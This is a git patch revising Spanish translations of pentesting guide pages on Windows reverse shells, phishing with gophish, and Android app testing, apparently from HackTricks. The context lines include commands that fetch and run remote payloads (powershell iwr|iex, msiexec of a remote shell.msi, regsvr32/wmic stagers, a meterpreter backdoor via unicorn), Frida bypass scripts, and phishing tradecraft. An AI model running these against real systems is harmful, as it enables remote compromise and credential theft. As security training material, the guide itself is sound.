From ad24a77b1b429e781b1b561165724e49d3531333 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 4 Feb 2025 18:41:15 +0000 Subject: [PATCH] Translated ['src/generic-hacking/reverse-shells/windows.md', 'src/generi --- src/generic-hacking/reverse-shells/windows.md | 14 +- .../phishing-methodology/README.md | 12 +- src/interesting-http.md | 4 +- .../android-app-pentesting/README.md | 78 ++++----- .../android-applications-basics.md | 30 ++-- .../drozer-tutorial/README.md | 6 +- .../make-apk-accept-ca-certificate.md | 4 +- .../iis-internet-information-services.md | 16 +- .../pentesting-web/wordpress.md | 48 +++--- src/pentesting-web/cache-deception/README.md | 50 +++--- .../client-side-template-injection-csti.md | 2 +- .../README.md | 40 ++--- src/pentesting-web/deserialization/README.md | 43 +++-- src/pentesting-web/open-redirect.md | 8 +- .../pocs-and-polygloths-cheatsheet/README.md | 38 ++--- .../postmessage-vulnerabilities/README.md | 24 +-- src/pentesting-web/reverse-tab-nabbing.md | 8 +- ...inclusion-edge-side-inclusion-injection.md | 36 ++--- src/pentesting-web/websocket-attacks.md | 8 +- .../xss-cross-site-scripting/README.md | 149 +++++++----------- .../server-side-xss-dynamic-pdf.md | 32 ++-- src/todo/interesting-http.md | 6 +- .../create-msi-with-wix.md | 8 +- 23 files changed, 312 insertions(+), 352 deletions(-) diff --git a/src/generic-hacking/reverse-shells/windows.md b/src/generic-hacking/reverse-shells/windows.md index 180db749a..d9e5b8294 100644 --- a/src/generic-hacking/reverse-shells/windows.md +++ b/src/generic-hacking/reverse-shells/windows.md @@ -4,7 +4,7 @@ ## Lolbas -La página [lolbas-project.github.io](https://lolbas-project.github.io/) es para Windows como [https://gtfobins.github.io/](https://gtfobins.github.io/) lo es para Linux.\ +La página [lolbas-project.github.io](https://lolbas-project.github.io/) es para Windows como [https://gtfobins.github.io/](https://gtfobins.github.io/) lo es para linux.\ Obviamente, **no hay archivos SUID ni privilegios de sudo en Windows**, pero es útil saber **cómo** algunos **binarios** pueden ser (mal)usados para realizar algún tipo de acciones inesperadas como **ejecutar código arbitrario.** ## NC @@ -27,7 +27,7 @@ ncat -l --ssl ``` ## SBD -**[sbd](https://www.kali.org/tools/sbd/) es una alternativa portátil y segura a Netcat**. Funciona en sistemas similares a Unix y Win32. Con características como cifrado fuerte, ejecución de programas, puertos de origen personalizables y reconexión continua, sbd proporciona una solución versátil para la comunicación TCP/IP. Para los usuarios de Windows, la versión sbd.exe de la distribución Kali Linux se puede utilizar como un reemplazo confiable para Netcat. +**[sbd](https://www.kali.org/tools/sbd/) es una alternativa portátil y segura a Netcat**. Funciona en sistemas similares a Unix y Win32. Con características como cifrado fuerte, ejecución de programas, puertos de origen personalizables y reconexión continua, sbd proporciona una solución versátil para la comunicación TCP/IP. Para los usuarios de Windows, la versión sbd.exe de la distribución Kali Linux se puede utilizar como un reemplazo confiable de Netcat. ```bash # Victims machine sbd -l -p 4444 -e bash -v -n @@ -87,7 +87,7 @@ Carga útil escrita en el disco: **NO** (_al menos en ningún lugar que pudiera powershell -exec bypass -f \\webdavserver\folder\payload.ps1 ``` Proceso que realiza la llamada de red: **svchost.exe**\ -Carga útil escrita en el disco: **Caché local del cliente WebDAV** +Carga útil escrita en el disco: **WebDAV client local cache** **Una línea:** ```bash @@ -224,7 +224,7 @@ regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll #### Regsvr32 -sct [**Desde aquí**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1) -```markup +```html @@ -310,7 +310,7 @@ victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi ```bash wmic os get /format:"https://webserver/payload.xsl" ``` -Ejemplo de archivo xsl [from here](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7): +Ejemplo de archivo xsl [desde aquí](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7): ```xml @@ -324,7 +324,7 @@ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object N ``` **No detectado** -**Puedes descargar y ejecutar muy fácilmente un zombie Koadic usando el stager wmic** +**Puedes descargar y ejecutar muy fácilmente un zombi Koadic usando el stager wmic** ## Msbuild @@ -430,7 +430,7 @@ powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c [https://github.com/trustedsec/unicorn](https://github.com/trustedsec/unicorn) -Crea una versión de powershell de la puerta trasera de metasploit usando unicorn +Crea una versión de powershell de un backdoor de metasploit usando unicorn ``` python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443 ``` diff --git a/src/generic-methodologies-and-resources/phishing-methodology/README.md b/src/generic-methodologies-and-resources/phishing-methodology/README.md index 9871eef78..a5197824b 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/README.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/README.md @@ -124,7 +124,7 @@ Luego agrega el dominio a los siguientes archivos: Finalmente, modifica los archivos **`/etc/hostname`** y **`/etc/mailname`** a tu nombre de dominio y **reinicia tu VPS.** -Ahora, crea un **registro DNS A** de `mail.` apuntando a la **dirección IP** del VPS y un **registro DNS MX** apuntando a `mail.` +Ahora, crea un **registro A de DNS** de `mail.` apuntando a la **dirección IP** del VPS y un **registro MX de DNS** apuntando a `mail.` Ahora probemos enviar un correo electrónico: ```bash @@ -161,7 +161,7 @@ Modifica `/opt/gophish/config.json` a lo siguiente (nota el uso de https): ``` **Configurar el servicio gophish** -Para crear el servicio gophish de modo que se inicie automáticamente y se gestione como un servicio, puedes crear el archivo `/etc/init.d/gophish` con el siguiente contenido: +Para crear el servicio gophish de modo que se pueda iniciar automáticamente y gestionar como un servicio, puedes crear el archivo `/etc/init.d/gophish` con el siguiente contenido: ```bash #!/bin/bash # /etc/init.d/gophish @@ -305,7 +305,7 @@ La página [www.mail-tester.com](https://www.mail-tester.com) puede indicarte si - Decide desde qué cuenta vas a enviar los correos electrónicos de phishing. Sugerencias: _noreply, support, servicedesk, salesforce..._ - Puedes dejar en blanco el nombre de usuario y la contraseña, pero asegúrate de marcar la opción Ignorar Errores de Certificado -![](<../../images/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>) +![](<../../images/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>) > [!NOTE] > Se recomienda utilizar la funcionalidad "**Enviar correo de prueba**" para comprobar que todo está funcionando.\ @@ -317,7 +317,7 @@ La página [www.mail-tester.com](https://www.mail-tester.com) puede indicarte si - Luego escribe un **asunto** (nada extraño, solo algo que podrías esperar leer en un correo electrónico regular) - Asegúrate de haber marcado "**Agregar imagen de seguimiento**" - Escribe la **plantilla de correo electrónico** (puedes usar variables como en el siguiente ejemplo): -```markup +```html @@ -337,7 +337,7 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY ``` Nota que **para aumentar la credibilidad del correo electrónico**, se recomienda usar alguna firma de un correo del cliente. Sugerencias: -- Envía un correo a una **dirección inexistente** y verifica si la respuesta tiene alguna firma. +- Envía un correo a una **dirección no existente** y verifica si la respuesta tiene alguna firma. - Busca **correos públicos** como info@ex.com o press@ex.com o public@ex.com y envíales un correo y espera la respuesta. - Intenta contactar **algún correo válido descubierto** y espera la respuesta. @@ -422,7 +422,7 @@ Puedes hacer esto con [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC) Obviamente, una de las mejores maneras de saber si te han descubierto es **buscar tu dominio en listas negras**. Si aparece listado, de alguna manera tu dominio fue detectado como sospechoso.\ Una forma fácil de verificar si tu dominio aparece en alguna lista negra es usar [https://malwareworld.com/](https://malwareworld.com) -Sin embargo, hay otras formas de saber si la víctima está **buscando activamente actividad sospechosa de phishing en la red**, como se explica en: +Sin embargo, hay otras formas de saber si la víctima está **buscando activamente actividad de phishing sospechosa en la naturaleza**, como se explica en: {{#ref}} detecting-phising.md diff --git a/src/interesting-http.md b/src/interesting-http.md index da50ff5b6..0346557fa 100644 --- a/src/interesting-http.md +++ b/src/interesting-http.md @@ -24,12 +24,12 @@ Referrer-Policy: unsafe-url ## Contramedidas Puedes anular esta regla utilizando una etiqueta meta HTML (el atacante necesita explotar una inyección HTML): -```markup +```html ``` ## Defensa -Nunca pongas datos sensibles dentro de los parámetros GET o rutas en la URL. +Nunca pongas datos sensibles dentro de parámetros GET o rutas en la URL. {{#include ./banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/README.md b/src/mobile-pentesting/android-app-pentesting/README.md index 77ff40a5f..b928fdb6b 100644 --- a/src/mobile-pentesting/android-app-pentesting/README.md +++ b/src/mobile-pentesting/android-app-pentesting/README.md @@ -1,8 +1,8 @@ -# Pentesting de Aplicaciones Android +# Pruebas de Penetración en Aplicaciones Android {{#include ../../banners/hacktricks-training.md}} -## Fundamentos de Aplicaciones Android +## Conceptos Básicos de Aplicaciones Android Se recomienda encarecidamente comenzar a leer esta página para conocer las **partes más importantes relacionadas con la seguridad de Android y los componentes más peligrosos en una aplicación Android**: @@ -12,7 +12,7 @@ android-applications-basics.md ## ADB (Android Debug Bridge) -Esta es la herramienta principal que necesitas para conectarte a un dispositivo Android (emulado o físico).\ +Esta es la herramienta principal que necesitas para conectarte a un dispositivo android (emulado o físico).\ **ADB** permite controlar dispositivos ya sea a través de **USB** o **Red** desde una computadora. Esta utilidad habilita la **copia** de archivos en ambas direcciones, **instalación** y **desinstalación** de aplicaciones, **ejecución** de comandos de shell, **respaldo** de datos, **lectura** de registros, entre otras funciones. Echa un vistazo a la siguiente lista de [**Comandos ADB**](adb-commands.md) para aprender a usar adb. @@ -20,7 +20,7 @@ Echa un vistazo a la siguiente lista de [**Comandos ADB**](adb-commands.md) para ## Smali A veces es interesante **modificar el código de la aplicación** para acceder a **información oculta** (quizás contraseñas o flags bien ofuscados). Entonces, podría ser interesante descompilar el apk, modificar el código y recompilarlo.\ -[**En este tutorial** puedes **aprender a descompilar un APK, modificar el código Smali y recompilar el APK** con la nueva funcionalidad](smali-changes.md). Esto podría ser muy útil como una **alternativa para varias pruebas durante el análisis dinámico** que se van a presentar. Entonces, **siempre ten en mente esta posibilidad**. +[**En este tutorial** puedes **aprender a descompilar un APK, modificar el código Smali y recompilar el APK** con la nueva funcionalidad](smali-changes.md). Esto podría ser muy útil como una **alternativa para varias pruebas durante el análisis dinámico** que se van a presentar. Entonces, **siempre ten en cuenta esta posibilidad**. ## Otros trucos interesantes @@ -56,7 +56,7 @@ Solo echando un vistazo a las **cadenas** del APK puedes buscar **contraseñas** **Firebase** -Presta especial atención a las **URLs de firebase** y verifica si está mal configurado. [Más información sobre qué es Firebase y cómo explotarlo aquí.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) +Presta especial atención a las **URLs de Firebase** y verifica si está mal configurado. [Más información sobre qué es Firebase y cómo explotarlo aquí.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) ### Comprensión básica de la aplicación - Manifest.xml, strings.xml @@ -65,7 +65,7 @@ La **examinación de los archivos \_Manifest.xml**_\*\* y \*\*_**strings.xml**\_ **Vulnerabilidades** identificadas en el **Manifest.xml** incluyen: - **Aplicaciones depurables**: Las aplicaciones configuradas como depurables (`debuggable="true"`) en el archivo _Manifest.xml_ representan un riesgo ya que permiten conexiones que pueden llevar a la explotación. Para una mejor comprensión sobre cómo explotar aplicaciones depurables, consulta un tutorial sobre cómo encontrar y explotar aplicaciones depurables en un dispositivo. -- **Configuraciones de respaldo**: El atributo `android:allowBackup="false"` debe establecerse explícitamente para aplicaciones que manejan información sensible para prevenir copias de seguridad no autorizadas a través de adb, especialmente cuando la depuración por usb está habilitada. +- **Configuraciones de respaldo**: El atributo `android:allowBackup="false"` debe establecerse explícitamente para aplicaciones que manejan información sensible para prevenir copias de seguridad no autorizadas a través de adb, especialmente cuando la depuración por USB está habilitada. - **Seguridad de red**: Configuraciones de seguridad de red personalizadas (`android:networkSecurityConfig="@xml/network_security_config"`) en _res/xml/_ pueden especificar detalles de seguridad como pines de certificado y configuraciones de tráfico HTTP. Un ejemplo es permitir tráfico HTTP para dominios específicos. - **Actividades y servicios exportados**: Identificar actividades y servicios exportados en el manifiesto puede resaltar componentes que podrían ser mal utilizados. Un análisis adicional durante las pruebas dinámicas puede revelar cómo explotar estos componentes. - **Proveedores de contenido y FileProviders**: Los proveedores de contenido expuestos podrían permitir acceso no autorizado o modificación de datos. La configuración de los FileProviders también debe ser examinada. @@ -139,7 +139,7 @@ Por alguna razón, a veces los desarrolladores aceptan todos los certificados in SSLSocketFactory sf = new cc(trustStore); sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); ``` -Una buena manera de probar esto es intentar capturar el tráfico usando algún proxy como Burp sin autorizar el CA de Burp dentro del dispositivo. Además, puedes generar con Burp un certificado para un nombre de host diferente y usarlo. +Una buena manera de probar esto es intentar capturar el tráfico usando algún proxy como Burp sin autorizar el CA de Burp dentro del dispositivo. También puedes generar con Burp un certificado para un nombre de host diferente y usarlo. ### Criptografía Rota @@ -216,7 +216,7 @@ content-protocol.md > Primero que nada, necesitas un entorno donde puedas instalar la aplicación y todo el entorno (certificado CA de Burp, Drozer y Frida principalmente). Por lo tanto, se recomienda encarecidamente un dispositivo rooteado (emulado o no). -### Análisis Dinámico en Línea +### Análisis dinámico en línea Puedes crear una **cuenta gratuita** en: [https://appetize.io/](https://appetize.io). Esta plataforma te permite **subir** y **ejecutar** APKs, por lo que es útil para ver cómo se comporta un apk. @@ -226,7 +226,7 @@ Incluso puedes **ver los registros de tu aplicación** en la web y conectarte a Gracias a la conexión ADB, puedes usar **Drozer** y **Frida** dentro de los emuladores. -### Análisis Dinámico Local +### Análisis dinámico local #### Usando un emulador @@ -243,11 +243,11 @@ avd-android-virtual-device.md > [!NOTE] > Al crear un nuevo emulador en cualquier plataforma, recuerda que cuanto más grande sea la pantalla, más lento funcionará el emulador. Así que selecciona pantallas pequeñas si es posible. -Para **instalar servicios de google** (como AppStore) en Genymotion, necesitas hacer clic en el botón marcado en rojo de la siguiente imagen: +Para **instalar servicios de Google** (como AppStore) en Genymotion, necesitas hacer clic en el botón marcado en rojo de la siguiente imagen: ![](<../../images/image (277).png>) -Además, ten en cuenta que en la **configuración de la VM de Android en Genymotion** puedes seleccionar **Modo de Red Bridge** (esto será útil si te conectarás a la VM de Android desde una VM diferente con las herramientas). +Además, ten en cuenta que en la **configuración de la VM de Android en Genymotion** puedes seleccionar **modo de red Bridge** (esto será útil si te conectarás a la VM de Android desde una VM diferente con las herramientas). #### Usar un dispositivo físico @@ -303,18 +303,18 @@ Drozer es una herramienta útil para **explotar actividades exportadas, servicio ### Explotando Actividades Exportadas [**Lee esto si quieres refrescar qué es una Actividad de Android.**](android-applications-basics.md#launcher-activity-and-other-activities)\ -También recuerda que el código de una actividad comienza en el método **`onCreate`**. +También recuerda que el código de una actividad comienza en el **método `onCreate`**. **Bypass de Autorización** -Cuando una Actividad es exportada, puedes invocar su pantalla desde una aplicación externa. Por lo tanto, si una actividad con **información sensible** está **exportada**, podrías **eludir** los mecanismos de **autenticación** **para acceder a ella.** +Cuando una Actividad es exportada, puedes invocar su pantalla desde una aplicación externa. Por lo tanto, si una actividad con **información sensible** está **exportada**, podrías **eludir** los **mecanismos de autenticación** **para acceder a ella.** [**Aprende cómo explotar actividades exportadas con Drozer.**](drozer-tutorial/index.html#activities) También puedes iniciar una actividad exportada desde adb: -- PackageName es com.example.demo -- Exported ActivityName es com.example.test.MainActivity +- El nombre del paquete es com.example.demo +- El nombre de la actividad exportada es com.example.test.MainActivity ```bash adb shell am start -n com.example.demo/com.example.test.MainActivity ``` @@ -329,7 +329,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity #### Tapjacking -Si el tapjacking no se previene, podrías abusar de la actividad exportada para hacer que el **usuario realice acciones inesperadas**. Para más información sobre [**qué es Tapjacking sigue el enlace**](#tapjacking). +Si no se previene el tapjacking, podrías abusar de la actividad exportada para hacer que el **usuario realice acciones inesperadas**. Para más información sobre [**qué es Tapjacking sigue el enlace**](#tapjacking). ### Explotando Content Providers - Accediendo y manipulando información sensible @@ -362,7 +362,7 @@ Puedes **abrir** un **scheme** declarado usando **adb** o un **navegador**: adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name] ``` _Tenga en cuenta que puede **omitir el nombre del paquete** y el móvil llamará automáticamente a la aplicación que debería abrir ese enlace._ -```markup +```html Click me @@ -381,7 +381,7 @@ Cada vez que encuentres un deep link verifica que **no esté recibiendo datos se **Parámetros en la ruta** Debes **verificar también si algún deep link está utilizando un parámetro dentro de la ruta** de la URL como: `https://api.example.com/v1/users/{username}`, en ese caso puedes forzar un recorrido de ruta accediendo a algo como: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\ -Ten en cuenta que si encuentras los endpoints correctos dentro de la aplicación, podrías ser capaz de causar un **Open Redirect** (si parte de la ruta se usa como nombre de dominio), **toma de control de cuenta** (si puedes modificar los detalles de los usuarios sin un token CSRF y el endpoint vulnerable usó el método correcto) y cualquier otra vulnerabilidad. Más [info sobre esto aquí](http://dphoeniixx.com/2020/12/13-2/). +Ten en cuenta que si encuentras los endpoints correctos dentro de la aplicación, podrías causar un **Open Redirect** (si parte de la ruta se usa como nombre de dominio), **toma de control de cuenta** (si puedes modificar los detalles de los usuarios sin un token CSRF y el endpoint vulnerable usó el método correcto) y cualquier otra vulnerabilidad. Más [info sobre esto aquí](http://dphoeniixx.com/2020/12/13-2/). **Más ejemplos** @@ -390,12 +390,12 @@ Un [informe de bug bounty interesante](https://hackerone.com/reports/855618) sob ### Inspección y fallos de verificación de la capa de transporte - **Los certificados no siempre son inspeccionados adecuadamente** por las aplicaciones de Android. Es común que estas aplicaciones pasen por alto advertencias y acepten certificados autofirmados o, en algunos casos, vuelvan a usar conexiones HTTP. -- **Las negociaciones durante el apretón de manos SSL/TLS son a veces débiles**, empleando suites de cifrado inseguras. Esta vulnerabilidad hace que la conexión sea susceptible a ataques de hombre en el medio (MITM), permitiendo a los atacantes descifrar los datos. -- **La filtración de información privada** es un riesgo cuando las aplicaciones se autentican utilizando canales seguros pero luego se comunican a través de canales no seguros para otras transacciones. Este enfoque no protege los datos sensibles, como cookies de sesión o detalles del usuario, de la interceptación por entidades maliciosas. +- **Las negociaciones durante el apretón de manos SSL/TLS a veces son débiles**, empleando suites de cifrado inseguras. Esta vulnerabilidad hace que la conexión sea susceptible a ataques de hombre en el medio (MITM), permitiendo a los atacantes descifrar los datos. +- **La filtración de información privada** es un riesgo cuando las aplicaciones se autentican utilizando canales seguros pero luego se comunican a través de canales no seguros para otras transacciones. Este enfoque no protege los datos sensibles, como cookies de sesión o detalles de usuario, de la interceptación por entidades maliciosas. #### Verificación de certificados -Nos centraremos en la **verificación de certificados**. La integridad del certificado del servidor debe ser verificada para mejorar la seguridad. Esto es crucial porque configuraciones TLS inseguras y la transmisión de datos sensibles a través de canales no encriptados pueden representar riesgos significativos. Para pasos detallados sobre cómo verificar certificados de servidor y abordar vulnerabilidades, [**este recurso**](https://manifestsecurity.com/android-application-security-part-10/) proporciona una guía completa. +Nos centraremos en la **verificación de certificados**. La integridad del certificado del servidor debe ser verificada para mejorar la seguridad. Esto es crucial porque las configuraciones TLS inseguras y la transmisión de datos sensibles a través de canales no cifrados pueden representar riesgos significativos. Para pasos detallados sobre cómo verificar certificados de servidor y abordar vulnerabilidades, [**este recurso**](https://manifestsecurity.com/android-application-security-part-10/) proporciona una guía completa. #### SSL Pinning @@ -403,9 +403,9 @@ SSL Pinning es una medida de seguridad donde la aplicación verifica el certific #### Inspección de tráfico -Para inspeccionar el tráfico HTTP, es necesario **instalar el certificado de la herramienta proxy** (por ejemplo, Burp). Sin instalar este certificado, el tráfico encriptado podría no ser visible a través del proxy. Para una guía sobre cómo instalar un certificado CA personalizado, [**haz clic aquí**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). +Para inspeccionar el tráfico HTTP, es necesario **instalar el certificado de la herramienta proxy** (por ejemplo, Burp). Sin instalar este certificado, el tráfico cifrado podría no ser visible a través de la proxy. Para una guía sobre cómo instalar un certificado CA personalizado, [**haz clic aquí**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). -Las aplicaciones que apuntan a **API Level 24 y superiores** requieren modificaciones en la Configuración de Seguridad de Red para aceptar el certificado CA del proxy. Este paso es crítico para inspeccionar tráfico encriptado. Para instrucciones sobre cómo modificar la Configuración de Seguridad de Red, [**consulta este tutorial**](make-apk-accept-ca-certificate.md). +Las aplicaciones que apuntan a **API Level 24 y superiores** requieren modificaciones en la Configuración de Seguridad de Red para aceptar el certificado CA de la proxy. Este paso es crítico para inspeccionar el tráfico cifrado. Para instrucciones sobre cómo modificar la Configuración de Seguridad de Red, [**consulta este tutorial**](make-apk-accept-ca-certificate.md). #### Bypass de SSL Pinning @@ -425,7 +425,7 @@ Es importante también buscar vulnerabilidades web comunes dentro de la aplicaci [Frida](https://www.frida.re) es un kit de herramientas de instrumentación dinámica para desarrolladores, ingenieros de reversa e investigadores de seguridad.\ **Puedes acceder a la aplicación en ejecución y enganchar métodos en tiempo de ejecución para cambiar el comportamiento, cambiar valores, extraer valores, ejecutar diferentes códigos...**\ -Si deseas hacer pentesting en aplicaciones de Android, necesitas saber cómo usar Frida. +Si deseas hacer pentesting en aplicaciones Android, necesitas saber cómo usar Frida. - Aprende a usar Frida: [**Tutorial de Frida**](frida-tutorial/index.html) - Algunas "GUI" para acciones con Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) @@ -452,17 +452,17 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a ``` ### **Datos sensibles en Keystore** -En Android, el Keystore es el mejor lugar para almacenar datos sensibles; sin embargo, con suficientes privilegios, **es posible acceder a él**. Dado que las aplicaciones tienden a almacenar aquí **datos sensibles en texto claro**, las pruebas de penetración deben verificarlo, ya que un usuario root o alguien con acceso físico al dispositivo podría robar estos datos. +En Android, el Keystore es el mejor lugar para almacenar datos sensibles; sin embargo, con suficientes privilegios, **es posible acceder a él**. Dado que las aplicaciones tienden a almacenar aquí **datos sensibles en texto claro**, las pruebas de penetración deben verificarlo, ya que un usuario root o alguien con acceso físico al dispositivo podría ser capaz de robar estos datos. Incluso si una aplicación almacena datos en el keystore, los datos deben estar cifrados. -Para acceder a los datos dentro del keystore, puedes usar este script de Frida: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js) +Para acceder a los datos dentro del keystore, podrías usar este script de Frida: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js) ```bash frida -U -f com.example.app -l frida-scripts/tracer-cipher.js ``` -### **Bypass de huellas dactilares/bio-metría** +### **Bypass de Huellas Dactilares/Biométricos** -Usando el siguiente script de Frida, podría ser posible **eludir la autenticación por huella dactilar** que las aplicaciones de Android podrían estar realizando para **proteger ciertas áreas sensibles:** +Usando el siguiente script de Frida, podría ser posible **eludir la autenticación por huellas dactilares** que las aplicaciones de Android podrían estar realizando para **proteger ciertas áreas sensibles:** ```bash frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f ``` @@ -488,21 +488,21 @@ Los desarrolladores a menudo crean componentes proxy como actividades, servicios El peligro radica en permitir que los atacantes activen componentes de la aplicación no exportados o accedan a proveedores de contenido sensibles al desviar estos Intents. Un ejemplo notable es el componente `WebView` que convierte URLs en objetos `Intent` a través de `Intent.parseUri(...)` y luego los ejecuta, lo que puede llevar a inyecciones de Intent maliciosas. -### Conclusiones Esenciales +### Puntos Clave Esenciales - **Inyección de Intents** es similar al problema de Redirección Abierta en la web. - Los exploits implican pasar objetos `Intent` como extras, que pueden ser redirigidos para ejecutar operaciones inseguras. - Puede exponer componentes no exportados y proveedores de contenido a los atacantes. - La conversión de URL a `Intent` de `WebView` puede facilitar acciones no intencionadas. -### Inyecciones del Lado del Cliente en Android y otros +### Inyecciones del Lado del Cliente de Android y otros Probablemente conozcas este tipo de vulnerabilidades de la web. Debes tener especial cuidado con estas vulnerabilidades en una aplicación Android: - **Inyección SQL:** Al tratar con consultas dinámicas o Content-Providers, asegúrate de usar consultas parametrizadas. - **Inyección de JavaScript (XSS):** Verifica que el soporte de JavaScript y Plugins esté deshabilitado para cualquier WebView (deshabilitado por defecto). [Más información aquí](webview-attacks.md#javascript-enabled). - **Inclusión de Archivos Locales:** Los WebViews deben tener el acceso al sistema de archivos deshabilitado (habilitado por defecto) - `(webview.getSettings().setAllowFileAccess(false);)`. [Más información aquí](webview-attacks.md#javascript-enabled). -- **Cookies Eternas:** En varios casos, cuando la aplicación Android finaliza la sesión, la cookie no se revoca o incluso podría guardarse en el disco. +- **Cookies Eternas**: En varios casos, cuando la aplicación android finaliza la sesión, la cookie no se revoca o incluso podría guardarse en el disco. - [**Secure Flag** en cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags) --- @@ -532,13 +532,13 @@ El **analizador dinámico de MobSF** puede: - **Volcar datos de la aplicación** (URLs, registros, portapapeles, capturas de pantalla hechas por ti, capturas de pantalla hechas por "**Exported Activity Tester**", correos electrónicos, bases de datos SQLite, archivos XML y otros archivos creados). Todo esto se hace automáticamente excepto por las capturas de pantalla, necesitas presionar cuando quieras una captura de pantalla o necesitas presionar "**Exported Activity Tester**" para obtener capturas de pantalla de todas las actividades exportadas. - Capturar **tráfico HTTPS** -- Usar **Frida** para obtener **información en tiempo de ejecución** +- Usar **Frida** para obtener **información** **en tiempo de ejecución** Desde las versiones de Android **> 5**, **iniciará automáticamente Frida** y establecerá configuraciones de **proxy** globales para **capturar** tráfico. Solo capturará tráfico de la aplicación probada. **Frida** -Por defecto, también usará algunos scripts de Frida para **eludir la fijación de SSL**, **detección de root** y **detección de depurador** y para **monitorear APIs interesantes**.\ +Por defecto, también usará algunos scripts de Frida para **eludir la fijación de SSL**, **detección de root** y **detección de depuradores** y para **monitorear APIs interesantes**.\ MobSF también puede **invocar actividades exportadas**, tomar **capturas de pantalla** de ellas y **guardarlas** para el informe. Para **iniciar** la prueba dinámica presiona el botón verde: "**Start Instrumentation**". Presiona "**Frida Live Logs**" para ver los registros generados por los scripts de Frida y "**Live API Monitor**" para ver todas las invocaciones a métodos enganchados, argumentos pasados y valores devueltos (esto aparecerá después de presionar "Start Instrumentation").\ @@ -559,7 +559,7 @@ Una vez que hayas seleccionado el módulo auxiliar que deseas usar, necesitas pr **Shell** -Mobsf también te ofrece una shell con algunos comandos **adb**, **comandos de MobSF**, y comandos comunes de **shell** en la parte inferior de la página de análisis dinámico. Algunos comandos interesantes: +MobSF también te ofrece una shell con algunos comandos **adb**, **comandos de MobSF**, y comandos comunes de **shell** en la parte inferior de la página de análisis dinámico. Algunos comandos interesantes: ```bash help shell ls @@ -573,7 +573,7 @@ receivers Cuando se captura tráfico http, puedes ver una vista fea del tráfico capturado en "**HTTP(S) Traffic**" en la parte inferior o una vista más agradable en el botón verde "**Start HTTPTools**". Desde la segunda opción, puedes **enviar** las **solicitudes capturadas** a **proxies** como Burp o Owasp ZAP.\ Para hacerlo, _enciende Burp -->_ _apaga Intercept --> en MobSB HTTPTools selecciona la solicitud_ --> presiona "**Send to Fuzzer**" --> _selecciona la dirección del proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). -Una vez que termines el análisis dinámico con MobSF, puedes presionar en "**Start Web API Fuzzer**" para **fuzz http requests** y buscar vulnerabilidades. +Una vez que termines el análisis dinámico con MobSF, puedes presionar "**Start Web API Fuzzer**" para **fuzz http requests** y buscar vulnerabilidades. > [!NOTE] > Después de realizar un análisis dinámico con MobSF, la configuración del proxy puede estar mal configurada y no podrás solucionarlo desde la GUI. Puedes corregir la configuración del proxy haciendo: @@ -607,7 +607,7 @@ qark --java path/to/specific/java/file.java - Muestra todos los archivos extraídos para una fácil referencia - Descompone automáticamente archivos APK a formato Java y Smali - Analiza AndroidManifest.xml en busca de vulnerabilidades comunes y comportamiento -- Análisis estático del código fuente para vulnerabilidades comunes y comportamiento +- Análisis estático del código fuente para vulnerabilidades y comportamiento comunes - Información del dispositivo - y más ```bash @@ -700,7 +700,7 @@ Encuentra una guía paso a paso para deofuscar el apk en [https://blog.lexfo.fr/ Puedes subir un APK ofuscado a su plataforma. -### [Deobfuscate android App](https://github.com/In3tinct/deobfuscate-android-app) +### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app Esta es una herramienta LLM para encontrar cualquier vulnerabilidad de seguridad potencial en aplicaciones android y deofuscar el código de aplicaciones android. Utiliza la API pública de Gemini de Google. @@ -722,7 +722,7 @@ APKiD te da información sobre **cómo se hizo un APK**. Identifica muchos **com AndroL4b es una máquina virtual de seguridad de Android basada en ubuntu-mate que incluye la colección de los últimos frameworks, tutoriales y laboratorios de diferentes expertos en seguridad e investigadores para ingeniería inversa y análisis de malware. -## References +## Referencias - 